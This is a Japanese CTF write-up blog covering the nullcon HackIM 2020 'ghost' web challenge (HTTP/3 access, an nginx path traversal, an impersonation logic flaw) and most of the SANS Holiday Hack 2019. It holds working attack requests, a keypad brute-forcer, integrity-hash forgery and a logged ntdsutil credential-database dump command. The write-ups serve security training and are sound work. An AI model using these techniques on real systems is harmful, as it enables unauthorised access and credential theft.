こんとろーるしーこんとろーるぶい

週末にカチャカチャッターン!したことを貼り付けていくブログ

nullcon HackIM 2020 Writeup - ghost

Question

Ever had a scary feeling when you are alone that there is something in the room, but you cant see it with your eyes alone?

Don't be scared to probe at - https://web1.ctf.nullcon.net:8443/

Note: Challenge Is Not Down

Solution

Stage1

ChromeでURLにアクセスしてもERR_CONNECTION_REFUSEDが発生する。

ヒントを見ると、女性が1,2,3のカウントをしているgif画像が表示される。
HTTP/3で接続すると繋がるのではと推測する。

curlコマンドでHTTP/3接続するには、HTTP/3対応版のcurlを自分でビルドする必要がある。

HTTP/3対応のcurlインストール

ビルドに必要なパッケージやライブラリをあらかじめインストールしておく。

$ apt install cmake autoconf libtool pkg-config

# RUSTのインストール(cargoコマンドが必要であるため)
$ curl https://sh.rustup.rs -sSf | sh

# golangのインストール
# https://golang.org/dl/ からtar.gzをダウンロード
$ tar -C /usr/local -xzf go1.13.7.linux-amd64.tar.gz
$ export PATH=$PATH:/usr/local/go/bin

以下のページを見ながらビルドを進める。
curl/HTTP3.md at master · curl/curl · GitHub

最後にmake installする。その後、ターミナルの再起動が必要かもしれない。
環境を汚すのが嫌な場合は、./src/curlをそのまま使ってもよい。

成功すると、FeaturesにHTTP3を確認できる。

root@kali:~# curl -V
curl 7.69.0-DEV (x86_64-pc-linux-gnu) libcurl/7.69.0-DEV BoringSSL zlib/1.2.11 quiche/0.2.0
Release-Date: [unreleased]
Protocols: dict file ftp ftps gopher http https imap imaps pop3 pop3s rtsp smb smbs smtp smtps telnet tftp 
Features: alt-svc AsynchDNS HTTP3 HTTPS-proxy IPv6 Largefile libz NTLM NTLM_WB SSL UnixSockets

攻略

--http3オプションを付けてcurlコマンドを実行すると、推測通りアクセスできた。

root@kali:~# curl --http3 https://web1.ctf.nullcon.net:8443/ -v
*   Trying 139.59.34.79:8443...
* Sent QUIC client Initial, ALPN: h3-25h3-24h3-23
* h3 [:method: GET]
* h3 [:path: /]
* h3 [:scheme: https]
* h3 [:authority: web1.ctf.nullcon.net:8443]
* h3 [user-agent: curl/7.69.0-DEV]
* h3 [accept: */*]
* Using HTTP/3 Stream ID: 0 (easy handle 0x55e190e16850)
> GET / HTTP/3
> Host: web1.ctf.nullcon.net:8443
> user-agent: curl/7.69.0-DEV
> accept: */*
> 
< HTTP/3 200
< server: nginx/1.16.1
< date: Sat, 08 Feb 2020 05:00:19 GMT
< content-type: text/html
< content-length: 374
< last-modified: Wed, 05 Feb 2020 19:18:19 GMT
< etag: "5e3b14fb-176"
< alt-svc: h3-23=":443"; ma=86400
< accept-ranges: bytes
< 
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="utf-8">
<title>How are you here?</title>
 
</head>
<body>


<center><h1>Shit! </h1>
<h3>How on earth did you reach here?</h3>
<h3>We added another layer of security to so we dont get hacked. Can you breach that also?</h3>
<img src="/static/giphy.gif"></img>
</center>

<!-- No need to bruteforce# -->

</body>
</html>

* Connection #0 to host web1.ctf.nullcon.net left intact

staticディレクトリを確認すると、ディレクトリリスティングが有効であることがわかる。

root@kali:~# curl --http3 https://web1.ctf.nullcon.net:8443/static/
<html>
<head><title>Index of /static/</title></head>
<body>
<h1>Index of /static/</h1><hr><pre><a href="../">../</a>
<a href="giphy.gif">giphy.gif</a>                                          05-Feb-2020 19:18             5801332
</pre><hr></body>
</html>

nginxには設定ミスによりパストラバーサルが可能な脆弱性が生まれる。
(2019年のwriteupまとめ記事でも紹介済み)
https://graneed.hatenablog.com/entry/2019/12/29/115100#nginx%E3%81%AE%E8%A8%AD%E5%AE%9A%E4%B8%8D%E5%82%99

root@kali:~# curl --http3 https://web1.ctf.nullcon.net:8443/static../
<html>
<head><title>Index of /static../</title></head>
<body>
<h1>Index of /static../</h1><hr><pre><a href="../">../</a>
<a href="backup/">backup/</a>                                            05-Feb-2020 19:18                   -
<a href="html/">html/</a>                                              05-Feb-2020 19:18                   -
<a href="static/">static/</a>                                            05-Feb-2020 19:18                   -
</pre><hr></body>
</html>

root@kali:~# curl --http3 https://web1.ctf.nullcon.net:8443/static../backup/
<html>
<head><title>Index of /static../backup/</title></head>
<body>
<h1>Index of /static../backup/</h1><hr><pre><a href="../">../</a>
<a href="links.txt">links.txt</a>                                          05-Feb-2020 19:18                 277
<a href="nginx.conf">nginx.conf</a>                                         05-Feb-2020 19:18                1242
</pre><hr></body>
</html>

root@kali:~# curl --http3 https://web1.ctf.nullcon.net:8443/static../backup/links.txt
To signup
http://localhost/check.php?signup=true&name=asd

To Impersonate a person
http://localhost/check.php?impersonator=asd&impersonatee=check

To umimpersonate a person
http://localhost/check.php?unimpersonate=asd-admin

To get status
http://localhost/check.php?status=asd

/check.phpというURLが存在することがわかる。次にこちらを攻める。

Stage2

/check.phpは、パラメータによって機能が変わるようだ。

サインアップしてステータス確認すると、パラメータで指定したnameのユーザに加えて、nameの末尾に-adminが付いたadmin roleを持つユーザが作成されていることがわかる。

root@kali:~# curl --http3 -H "cookie: PHPSESSID=b7648f7c4261c2a885eda5c1322aba1c" "https://web1.ctf.nullcon.net:8443/check.php?signup=true&name=asd"
<center><h1>Welcome to password less authentication system</h1></center>Please become admin, username: asd-admin 

root@kali:~# curl --http3 -H "cookie: PHPSESSID=b7648f7c4261c2a885eda5c1322aba1c" "https://web1.ctf.nullcon.net:8443/check.php?status=asd"
<center><h1>Welcome to password less authentication system</h1></center>
name: asd</br>
impersonating: </br>
role: user</br>
admin name: asd-admin</br>
admin role: admin</br>
Please become admin, username: asd-admin 

impersonatorで指定したユーザを、impersonateeで指定したユーザに成りすましができるようだ。

root@kali:~# curl --http3 -H "cookie: PHPSESSID=b7648f7c4261c2a885eda5c1322aba1c" "https://web1.ctf.nullcon.net:8443/check.php?impersonator=asd&impersonatee=check"
<center><h1>Welcome to password less authentication system</h1></center>You are not admin

root@kali:~# curl --http3 -H "cookie: PHPSESSID=b7648f7c4261c2a885eda5c1322aba1c" "https://web1.ctf.nullcon.net:8443/check.php?status=asd"
<center><h1>Welcome to password less authentication system</h1></center>
name: asd</br>
impersonating: check</br>
role: user</br>
admin name: asd-admin</br>
admin role: admin</br>
You are not admin

adminのロールをもつユーザには成りすましできないようチェックされている。

root@kali:~# curl --http3 -H "cookie: PHPSESSID=b7648f7c4261c2a885eda5c1322aba1c" "https://web1.ctf.nullcon.net:8443/check.php?impersonator=asd&impersonatee=asd-admin"
<center><h1>Welcome to password less authentication system</h1></center>cannot impersonate admin role

そこで、adminのロールを持つユーザを、userのロールを持つユーザに成りすませた状態であれば、このチェックをバイパスして、成りすましが可能と推測する。その後、adminのロールを持つユーザの成りすましを解除すればよい。

手順を整理すると以下のとおり。

  1. asd-adminasdに成りすまし。
  2. asdasd-adminに成りすまし。
  3. asd-adminの成りすましを解除。
  4. asdasd-adminに成りすましたままなので、admin roleを持つ。
root@kali:~# curl --http3 -H "cookie: PHPSESSID=b7648f7c4261c2a885eda5c1322aba1c" "https://web1.ctf.nullcon.net:8443/check.php?signup=true&name=asd"
<center><h1>Welcome to password less authentication system</h1></center>Please become admin, username: asd-admin 

root@kali:~# curl --http3 -H "cookie: PHPSESSID=b7648f7c4261c2a885eda5c1322aba1c" "https://web1.ctf.nullcon.net:8443/check.php?impersonator=asd-admin&impersonatee=asd"
<center><h1>Welcome to password less authentication system</h1></center>You are not admin 

root@kali:~# curl --http3 -H "cookie: PHPSESSID=b7648f7c4261c2a885eda5c1322aba1c" "https://web1.ctf.nullcon.net:8443/check.php?impersonator=asd&impersonatee=asd-admin"
<center><h1>Welcome to password less authentication system</h1></center>You admin role is not admin

root@kali:~# curl --http3 -H "cookie: PHPSESSID=b7648f7c4261c2a885eda5c1322aba1c" "https://web1.ctf.nullcon.net:8443/check.php?unimpersonate=asd-admin"
<center><h1>Welcome to password less authentication system</h1></center>hackim20{We_Never_Thought_it_Was_That_Vulnerable}

フラグゲット。
hackim20{We_Never_Thought_it_Was_That_Vulnerable}

The 2019 SANS Holiday Hack Challenge Writeup

あけましておめでとうございます。

今年もSANS社がHoliday Hack Challengeを開催しており、参加&全完しましたのでwriteupを書きます。
holidayhackchallenge.com

昨年のwriteup記事はこちらです。
graneed.hatenablog.com

概要

エルフ大学を歩きながら、ペンテスト、フォレンジックマルウェア解析、ネットワーク解析などのスキルを駆使して、各種チャレンジを解いていく。 メインの問題数は全12問、メインの問題のヒントがもらえるサブのTerminal問題が全10問ある。

以下、開始直後の鉄道を降りたところのスクリーンショット
右側にある緑色の端末みたいなアイコンがTerminal問題。これを解くと隣にいるエルフからヒントをもらえる。

f:id:graneed:20200102013711p:plain

Terminal問題

最初はTerminal問題から。マップ上のアイコンをクリックするとターミナルが立ち上がる。(一部例外あり

Escape Ed

edを終了すればクリア。qコマンドで終了。

f:id:graneed:20191229125313p:plain

Linux Path

lsコマンドを実行すればクリアだが、pathが通っていない。/bin/lsで直接実行する。

f:id:graneed:20191229185156p:plain

Mongo Pilfer

ローカルで起動しているMongoDBに接続したいが、デフォルトのポート番号ではない。

ps -eaxを実行するとポート番号を12121に指定していることがわかる。

f:id:graneed:20200112125247p:plain

DBを適当に漁ると、指定されたコマンドを実行しろと指示を発見するので、実行するとクリア。

f:id:graneed:20191229194533p:plain

f:id:graneed:20191229194608p:plain

Nyanshell

alabaster_snowballにsuしてBash起動できればクリアだが、デフォルトシェルが/bin/nshになっている。 /bin/nshのwrite権限はあるものの、上書きができない。

sudo -lを実行すると/usr/bin/chattrがroot権限で実行できることがわかる。 ファイル属性にi属性が設定されていることが上書きできない原因のようなので、-iオプションで外してから、/bin/nsh/bin/bashで上書きする。

f:id:graneed:20191230000732p:plain

Smart Braces

指定された要件を満たすような、iptablesの設定を実行すればクリア。要件は以下のとおり。

1. Set the default policies to DROP for the INPUT, FORWARD, and OUTPUT chains.
2. Create a rule to ACCEPT all connections that are ESTABLISHED,RELATED on the INPUT and the OUTPUT chains.
3. Create a rule to ACCEPT only remote source IP address 172.19.0.225 to access the local SSH server (on por
t 22).
4. Create a rule to ACCEPT any source IP to the local TCP services on ports 21 and 80.
5. Create a rule to ACCEPT all OUTPUT traffic with a destination TCP port of 80.
6. Create a rule applied to the INPUT chain to ACCEPT all traffic from the lo interface.

対応する設定を行うコマンドは以下のとおり。

sudo iptables -P INPUT DROP
sudo iptables -P FORWARD DROP
sudo iptables -P OUTPUT DROP

sudo iptables -A INPUT -m state --state ESTABLISHED,RELATED -j ACCEPT
sudo iptables -A OUTPUT -m state --state ESTABLISHED,RELATED -j ACCEPT

sudo iptables -A INPUT -s 172.19.0.225 -p tcp --dport 22 -j ACCEPT

sudo iptables -A INPUT -p tcp --dport 21 -j ACCEPT
sudo iptables -A INPUT -p tcp --dport 80 -j ACCEPT

sudo iptables -A OUTPUT -p tcp --dport 80 -j ACCEPT

sudo iptables -A INPUT -i lo -j ACCEPT

f:id:graneed:20191229225536p:plain

Xmas Cheer Laser

端末内の情報を集めてレーザーの出力を上げるためのパラメータ情報を集める問題。PowerShell環境。

集めたパラメータ情報はAPIで設定する。API仕様は以下のとおり。

PS /home/elf> (Invoke-WebRequest -Uri http://localhost:1225/).RawContent
HTTP/1.0 200 OK                                                                                             
Server: Werkzeug/0.16.0                                                                                     
Server: Python/3.6.9                                                                                        
Date: Sun, 29 Dec 2019 18:48:30 GMT                                                                         
Content-Type: text/html; charset=utf-8
Content-Length: 860
<html>
<body>
<pre>
----------------------------------------------------
Christmas Cheer Laser Project Web API
----------------------------------------------------
Turn the laser on/off:
GET http://localhost:1225/api/on
GET http://localhost:1225/api/off
Check the current Mega-Jollies of laser output
GET http://localhost:1225/api/output
Change the lense refraction value (1.0 - 2.0):
GET http://localhost:1225/api/refraction?val=1.0
Change laser temperature in degrees Celsius:
GET http://localhost:1225/api/temperature?val=-10
Change the mirror angle value (0 - 359):
GET http://localhost:1225/api/angle?val=45.1
Change gaseous elements mixture:
POST http://localhost:1225/api/gas
POST BODY EXAMPLE (gas mixture percentages):
O=5&H=5&He=5&N=5&Ne=20&Ar=10&Xe=10&F=20&Kr=10&Rn=10
----------------------------------------------------
</pre>
</body>
</html>

パラメータは全部で4種類。

1. angle

historyを実行すると発見。angleは65.5。次のヒントも発見する。

PS /home/elf> history | Out-String -Width 4096
  Id CommandLine
  -- -----------
   1 Get-Help -Name Get-Process 
   2 Get-Help -Name Get-* 
   3 Set-ExecutionPolicy Unrestricted 
   4 Get-Service | ConvertTo-HTML -Property Name, Status > C:\services.htm 
   5 Get-Service | Export-CSV c:\service.csv 
   6 Get-Service | Select-Object Name, Status | Export-CSV c:\service.csv 
   7 (Invoke-WebRequest http://127.0.0.1:1225/api/angle?val=65.5).RawContent
   8 Get-EventLog -Log "Application" 
   9 I have many name=value variables that I share to applications system wide. At a command I will reveal m
y secrets once you Get my Child Items.
  10 (Invoke-WebRequest -Uri http://localhost:1225/).RawContent

2. refraction

I have many name=value variables that I share to applications system wide. At a command I will reveal my secrets once you Get my Child Items.のヒントから、Get-ChildItem環境変数を確認する。

PS /home/elf> Get-ChildItem env: | Out-String -Width 4096
Name                           Value
----                           -----
_                              /bin/su
DOTNET_SYSTEM_GLOBALIZATION_I… false
HOME                           /home/elf
HOSTNAME                       8f719061667c
LANG                           en_US.UTF-8
LC_ALL                         en_US.UTF-8
LOGNAME                        elf
MAIL                           /var/mail/elf
PATH                           /opt/microsoft/powershell/6:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin
:/sbin:/bin:/usr/games:/usr/local/games
PSModuleAnalysisCachePath      /var/cache/microsoft/powershell/PSModuleAnalysisCache/ModuleAnalysisCache
PSModulePath                   /home/elf/.local/share/powershell/Modules:/usr/local/share/powershell/Modules
:/opt/microsoft/powershell/6/Modules
PWD                            /home/elf
RESOURCE_ID                    4a012a47-0153-4c5b-8b25-15bd2cf73044
riddle                         Squeezed and compressed I am hidden away. Expand me from my prison and I will
 show you the way. Recurse through all /etc and Sort on my LastWriteTime to reveal im the newest of all.
SHELL                          /home/elf/elf
SHLVL                          1
TERM                           xterm
USER                           elf
userdomain                     laserterminal
USERDOMAIN                     laserterminal
USERNAME                       elf
username                       elf

ヒントどおりに/etc配下の最終更新時間が新しいファイルを確認する。

PS /etc> Get-ChildItem -Recurse | Sort-Object LastWriteTime
(snip)
    Directory: /etc/apt
Mode                LastWriteTime         Length Name
----                -------------         ------ ----
--r---          12/29/19  6:02 PM        5662902 archive

展開する。

PS /home/elf> Expand-Archive -Path /etc/apt/archive -DestinationPath /tmp
PS /home/elf> cd /tmp
PS /tmp> dir
    Directory: /tmp                                                                                         
Mode                LastWriteTime         Length Name
----                -------------         ------ ----
d-r---          12/13/19  5:15 PM                5t4srxl3
d-r---          12/13/19  5:15 PM                ar0h5fvb
d-r---          12/13/19  5:15 PM                isersp3d
d-r---          12/13/19  5:15 PM                jj0ulyca
d-r---          12/13/19  5:15 PM                jyy10y3s
d-r---          12/13/19  5:15 PM                mmwmacs2
d-----          12/29/19  6:19 PM                refraction
d-r---          12/13/19  5:15 PM                w45zpn1s
d-r---          12/13/19  5:15 PM                wpvxws2m
d-r---          12/13/19  5:15 PM                zulm3qkm
------          12/29/19  6:19 PM              0 clr-debug-pipe-31-76974049-in
------          12/29/19  6:19 PM              0 clr-debug-pipe-31-76974049-out
------          12/29/19  6:19 PM              0 CoreFxPipe_PSHost.D5BE7487.31.None.elf

PS /tmp> cd refraction

PS /tmp/refraction> dir
    Directory: /tmp/refraction
Mode                LastWriteTime         Length Name
----                -------------         ------ ----
------           11/7/19 11:57 AM            134 riddle
------           11/5/19  2:26 PM        5724384 runme.elf

実行ファイルらしきファイルがあるので実行すると、refractionが1.867だとわかる。

PS /tmp/refraction> chmod 777 ./runme.elf
PS /tmp/refraction> ./runme.elf
refraction?val=1.867

次のヒントも発見した。

PS /tmp/refraction> type riddle
Very shallow am I in the depths of your elf home. You can find my entity by using my md5 identity:
25520151A320B5B0D21561F92C8F6224

3. temperature

/home/elf/depths配下に大量のファイルがあり、その中からmd5が一致するファイルを発見するのが想定解のようだが、キーワード(val=)で検索して強引に発見した。 temperatureは-33.5

PS /home/elf/depths> Get-ChildItem -Recurse -Force | Select-String "val="
produce/thhy5hll.txt:1:temperature?val=-33.5

次のヒントも発見した。

PS /home/elf/depths> type produce/thhy5hll.txt
temperature?val=-33.5
I am one of many thousand similar txt's contained within the deepest of /home/elf/depths. Finding me will gi
ve you the most strength but doing so will require Piping all the FullName's to Sort Length.

4. gas

/home/elf/depths配下から、最もファイルパスが長いファイルを見つける。

PS /home/elf/depths> Get-ChildItem -Recurse -Force | Select-Object fullname | sort { $_.fullname.length } | 
Select-Object -last 1 | Out-String -Width 4096
FullName
--------
/home/elf/depths/larger/cloud/behavior/beauty/enemy/produce/age/chair/unknown/escape/vote/long/writer/behind/ahead/thin/occasionally/explore/tape/wherever/practical/therefore/cool/plate/ice/play/truth/potatoes/beauty/fourth/careful/dawn/adult/either/burn/end/accurate/rubbed/cake/main/she/threw/eager/trip/to/soon/think/fall/is/greatest/become/accident/labor/sail/dropped/fox/0jhj5xz6.txt

PS /home/elf/depths> type /home/elf/depths/larger/cloud/behavior/beauty/enemy/produce/age/chair/unknown/esca
pe/vote/long/writer/behind/ahead/thin/occasionally/explore/tape/wherever/practical/therefore/cool/plate/ice/
play/truth/potatoes/beauty/fourth/careful/dawn/adult/either/burn/end/accurate/rubbed/cake/main/she/threw/eag
er/trip/to/soon/think/fall/is/greatest/become/accident/labor/sail/dropped/fox/0jhj5xz6.txt
Get process information to include Username identification. Stop Process to show me you're skilled and in th
is order they must be killed:
bushy
alabaster
minty
holly
Do this for me and then you /shall/see .

指定されたユーザが起動しているプロセスを停止すればよい。

PS /home/elf/depths> Get-Process -IncludeUserName
     WS(M)   CPU(s)      Id UserName                       ProcessName
     -----   ------      -- --------                       -----------
     28.98     1.58       6 root                           CheerLaserServi
    155.99    41.78      31 elf                            elf
      3.50     0.03       1 root                           init
      0.73     0.00      24 bushy                          sleep
      0.72     0.00      26 alabaster                      sleep
      0.80     0.00      28 minty                          sleep
      0.81     0.00      29 holly                          sleep
      3.46     0.00      30 root                           su
PS /home/elf/depths> kill -9 24
PS /home/elf/depths> kill -9 26
PS /home/elf/depths> kill -9 28
PS /home/elf/depths> kill -9 29
PS /home/elf/depths> type /shall/see
Get the .xml children of /etc - an event log to be found. Group all .Id's and the last thing will be in the 
Properties of the lonely unique event Id.

/etc配下にある拡張子がxmlのイベントログを集計すればよいとのことだが、面倒なのでこれもキーワード(Xe=)を類推して探して発見した。 gasはO=6&H=7&He=3&N=4&Ne=22&Ar=11&Xe=10&F=20&Kr=8&Rn=9

PS /etc> Get-ChildItem -Recurse -Force -Include *.xml 
Get-ChildItem : Access to the path '/etc/ssl/private' is denied.
At line:1 char:1
+ Get-ChildItem -Recurse -Force -Include *.xml
+ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+ CategoryInfo          : PermissionDenied: (/etc/ssl/private:String) [Get-ChildItem], UnauthorizedAccessExc
eption
+ FullyQualifiedErrorId : DirUnauthorizedAccessError,Microsoft.PowerShell.Commands.GetChildItemCommand
 
    Directory: /etc/systemd/system/timers.target.wants
Mode                LastWriteTime         Length Name
----                -------------         ------ ----
--r---          11/18/19  7:53 PM       10006962 EventLog.xml


PS /etc> type /etc/systemd/system/timers.target.wants/EventLog.xml | Select-String "Xe=" 
              <S N="Value">C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -c 
"`$correct_gases_postbody = @{`n    O=6`n    H=7`n    He=3`n    N=4`n    Ne=22`n    Ar=11`n    Xe=10`n    
F=20`n    Kr=8`n    Rn=9`n}`n"</S>
      <S N="Message">Process Create:_x000D__x000A_RuleName: _x000D__x000A_UtcTime: 2019-11-07 
17:59:56.525_x000D__x000A_ProcessGuid: {BA5C6BBB-5B9C-5DC4-0000-00107660A900}_x000D__x000A_ProcessId: 
3664_x000D__x000A_Image: 
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe_x000D__x000A_FileVersion: 10.0.14393.206 
(rs1_release.160915-0644)_x000D__x000A_Description: Windows PowerShell_x000D__x000A_Product: Microsoft® 
Windows® Operating System_x000D__x000A_Company: Microsoft Corporation_x000D__x000A_OriginalFileName: 
PowerShell.EXE_x000D__x000A_CommandLine: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -c 
"`$correct_gases_postbody = @{`n    O=6`n    H=7`n    He=3`n    N=4`n    Ne=22`n    Ar=11`n    Xe=10`n    
F=20`n    Kr=8`n    Rn=9`n}`n"_x000D__x000A_CurrentDirectory: C:\_x000D__x000A_User: 
ELFURESEARCH\allservices_x000D__x000A_LogonGuid: 
{BA5C6BBB-5B9C-5DC4-0000-0020F55CA900}_x000D__x000A_LogonId: 0xA95CF5_x000D__x000A_TerminalSessionId: 
0_x000D__x000A_IntegrityLevel: High_x000D__x000A_Hashes: 
MD5=097CE5761C89434367598B34FE32893B_x000D__x000A_ParentProcessGuid: 
{BA5C6BBB-4C79-5DC4-0000-001029350100}_x000D__x000A_ParentProcessId: 1008_x000D__x000A_ParentImage: 
C:\Windows\System32\svchost.exe_x000D__x000A_ParentCommandLine: C:\Windows\system32\svchost.exe -k 
netsvcs</S>

集めたパラメータをAPIを呼び出して設定するとクリア。

(Invoke-WebRequest -Uri http://localhost:1225/api/off).RawContent
(Invoke-WebRequest -Uri http://localhost:1225/api/refraction?val=1.867).RawContent
(Invoke-WebRequest -Uri http://localhost:1225/api/temperature?val=-33.5).RawContent
(Invoke-WebRequest -Uri http://localhost:1225/api/angle?val=65.5).RawContent
(Invoke-WebRequest -Uri http://localhost:1225/api/gas -Method Post -Body 'O=6&H=7&He=3&N=4&Ne=22&Ar=11&Xe=10&F=20&Kr=8&Rn=9').RawContent 
(Invoke-WebRequest -Uri http://localhost:1225/api/on).RawContent
(Invoke-WebRequest -Uri http://localhost:1225/api/output).RawContent

f:id:graneed:20191230035430p:plain

Frosty Keypad!

Terminalが起動される問題ではないが、ここで紹介。

キーパッドで正しい数値を入力する問題。

数値が素数になること、1つのボタンだけ2回使用しそれ以外は1回だけ使用すること、キーパッドの形跡がヒントになること、の情報が与えられている。

1と3と7に押下された形跡がある。

f:id:graneed:20191230102018p:plain

Burp Suiteまたはブラウザの開発者ツールで確認すると、呼び出し先のAPIがわかるので、条件を満たすボタンの組合せで総当たりするプログラムを作って実行する。

import itertools
import requests

def is_prime(q):
    q = abs(q)
    if q == 2: return True
    if q < 2 or q&1 == 0: return False
    return pow(2, q-1, q) == 1

for i in [1,3,7]:
    for v in itertools.permutations([1,3,7,i]):
        s = "".join(map(str,v))
        if is_prime(int(s)):
            url = "https://keypad.elfu.org/checkpass.php?i=%s&resourceId=4aa66b1c-05e2-49ad-bfd9-8a3e4332022a" % s
            r = requests.get(url)
            if r.json()["success"] == True:
                print(s, r.text)
                exit

いまいちなロジックなので2回出てしまうが、7331が正しいコードであることがわかる。

root@kali:/mnt/hgfs/CTF/Contest/SANS2019# python3 brute.py
7331 {"success":true,"resourceId":"4aa66b1c-05e2-49ad-bfd9-8a3e4332022a","hash":"c7e2b5534645cee5e33a1669a1dec038724fcd0e42ef3e9a2a14bc89eaed37aa","message":"Valid  Code!"}
7331 {"success":true,"resourceId":"4aa66b1c-05e2-49ad-bfd9-8a3e4332022a","hash":"c7e2b5534645cee5e33a1669a1dec038724fcd0e42ef3e9a2a14bc89eaed37aa","message":"Valid  Code!"}

Graylog

Graylogというログ分析ツールを使用して、ログからインシデント調査する問題。

Q1.

Mintyで検索。

f:id:graneed:20191230122740p:plain

answer: C:\Users\minty\Downloads\cookie_recipe.exe

Q2.

ProcessId:5256で検索。

f:id:graneed:20191230122912p:plain

answer: 192.168.247.175:4444

Q3.

ParentProcessId:5256で検索。

f:id:graneed:20191230122346p:plain

answer: whoami

Q4.

Q3と同じ検索結果から。

answer: webexservice

Q5.

ParentProcessImage:C\:\\Users\\minty\\Downloads\\cookie_recipe2.exeで検索。

f:id:graneed:20191230124312p:plain

answer: C:\cookie.exe

Q6.

account nameで検索。

answer: alabaster

Q7.

AccountName:alabaster AND LogonType:10で検索。

f:id:graneed:20191230125905p:plain

answer: 06:04:28

Q8.

timestamp:["2019-11-19 06:04:28.000" TO "2019-11-21 23:59:59.000"] AND SourceHostName:ELFU-RES-WKS2で検索。

f:id:graneed:20191230150100p:plain

Answer: elfu-res-wks2,elfu-res-wks3,3

Q9.

pastebin.comで検索。

f:id:graneed:20191230150420p:plain

answer: C:\Users\alabaster\Desktop\super_secret_elfu_research.pdf

Q10.

Q9と同じ検索結果から。

f:id:graneed:20191230150711p:plain

answer: 104.22.3.84

f:id:graneed:20191230150620p:plain

#7830984301576234

Holiday Hack Trail

難易度がEASY、MEDIUM、HARDの3段階あるゲーム。チートをして、Hardをクリアする。

通信を観察すると、EASYはGETでパラメータ送信、MEDIUMはPOSTでパラメータ送信、HARDはPOSTでパラメータ送信且つhashで改ざん確認をしていることがわかる。パラメータを改ざんするとhashが変わる。

ゲーム開始時のパラメータのhashの値であるbc573864331a9e42e4511de6f678aa83で検索すると、1626md5であることがわかる。どうやら特定のパラメータの合計値をmd5計算しているだけのようだ。 距離を8000稼げばクリアなので、スタート地点を0から7999にする。

1626+7999=9625のmd5a330f9fecc388ce67f87b09855480ca3である。 Burp Suiteで通信をインターセプトして、distanceを7999、hashをa330f9fecc388ce67f87b09855480ca3で上書きする。

f:id:graneed:20191230161832p:plain

チェックをバイパスしてゲームを開始できて、即クリア。

f:id:graneed:20191230162827p:plain

Zeek JSON Analysis

JSONファイルを解析して、durationが最も大きいログのIPアドレスを確認する。

elf@c6c39e513269:~$ cat ./conn.log | jq '.duration' | sort -g | tail -1
1019365.337758

elf@c6c39e513269:~$ grep 1019365.337758 ./conn.log 
{"ts":"2019-04-18T21:27:45.402479Z","uid":"CmYAZn10sInxVD5WWd","id.orig_h":"192.168.52.132","id.orig_p":8,"i
d.resp_h":"13.107.21.200","id.resp_p":0,"proto":"icmp","duration":1019365.337758,"orig_bytes":30781920,"resp
_bytes":30382240,"conn_state":"OTH","missed_bytes":0,"orig_pkts":961935,"orig_ip_bytes":57716100,"resp_pkts"
:949445,"resp_ip_bytes":56966700}

elf@c6c39e513269:~$ runtoanswer 
Loading, please wait......
What is the destination IP address with the longes connection duration? 13.107.21.200
Thank you for your analysis, you are spot-on.
I would have been working on that until the early dawn.
Now that you know the features of jq,
You'll be able to answer other challenges too.
-Wunorse Openslae
Congratulations!

ここまでがterminal問題。次からメインの問題。


1) Find the Turtle Doves

マップを探索して鳩を発見するだけ。

f:id:graneed:20191229204400p:plain

2) Unredact Threatening Document

マップを探索するとPDFが落ちている。

f:id:graneed:20191229184640p:plain

マスクされているが選択してコピーすれば抜き出せる。

f:id:graneed:20191229184731p:plain

Date: February 28, 2019
To the Administration, Faculty, and Staff of Elf University
17 Christmas Tree Lane
North Pole
From: A Concerned and Aggrieved Character
Subject: DEMAND: Spread Holiday Cheer to Other Holidays and Mythical Characters… OR
ELSE!
Attention All Elf University Personnel,
It remains a constant source of frustration that Elf University and the entire operation at the
North Pole focuses exclusively on Mr. S. Claus and his year-end holiday spree. We URGE
you to consider lending your considerable resources and expertise in providing merriment,
cheer, toys, candy, and much more to other holidays year-round, as well as to other mythical
characters.
For centuries, we have expressed our frustration at your lack of willingness to spread your
cheer beyond the inaptly-called “Holiday Season.” There are many other perfectly fine
holidays and mythical characters that need your direct support year-round.
If you do not accede to our demands, we will be forced to take matters into our own hands.
We do not make this threat lightly. You have less than six months to act demonstrably.
Sincerely,
--A Concerned and Aggrieved Character

answer: DEMAND

3) Windows Log Analysis: Evaluate Attack Outcome

イベントログから不正ログインが成功したアカウントを調査する。デフォルトのイベントビューアーで開いて、大量のログイン失敗直後にログイン成功しているアカウント名を入力すると正解だった。特にひっかけ要素もなかった。

f:id:graneed:20191230015114p:plain

answer: supatree

4) Windows Log Analysis: Determine Attacker Technique

Sysmonのログから、lsass.exeのプロセスから実行されている攻撃者が使用しているツールを探す問題。

lsass.exeでログを検索すると、前後のログからlsass.exe -> cmd.exe -> ntdsutil.exeの順序で子プロセスを起動していることがわかる。

    {
        "command_line": "C:\\Windows\\system32\\cmd.exe",
        "event_type": "process",
        "logon_id": 999,
        "parent_process_name": "lsass.exe",
        "parent_process_path": "C:\\Windows\\System32\\lsass.exe",
        "pid": 3440,
        "ppid": 632,
        "process_name": "cmd.exe",
        "process_path": "C:\\Windows\\System32\\cmd.exe",
        "subtype": "create",
        "timestamp": 132186398356220000,
        "unique_pid": "{7431d376-dedb-5dd3-0000-001027be4f00}",
        "unique_ppid": "{7431d376-cd7f-5dd3-0000-001013920000}",
        "user": "NT AUTHORITY\\SYSTEM",
        "user_domain": "NT AUTHORITY",
        "user_name": "SYSTEM"
    },
    {
        "command_line": "ntdsutil.exe  \"ac i ntds\" ifm \"create full c:\\hive\" q q",
        "event_type": "process",
        "logon_id": 999,
        "parent_process_name": "cmd.exe",
        "parent_process_path": "C:\\Windows\\System32\\cmd.exe",
        "pid": 3556,
        "ppid": 3440,
        "process_name": "ntdsutil.exe",
        "process_path": "C:\\Windows\\System32\\ntdsutil.exe",
        "subtype": "create",
        "timestamp": 132186398470300000,
        "unique_pid": "{7431d376-dee7-5dd3-0000-0010f0c44f00}",
        "unique_ppid": "{7431d376-dedb-5dd3-0000-001027be4f00}",
        "user": "NT AUTHORITY\\SYSTEM",
        "user_domain": "NT AUTHORITY",
        "user_name": "SYSTEM"
    }

answer: ntdsutil

5) Network Log Analysis: Determine Compromised System

Beacons画面の先頭のSourceのIPアドレスが答え。

f:id:graneed:20191230040521p:plain

answer: 192.168.134.130

6) Splunk

Splunkを使用して、インシデント調査を進めていく問題。

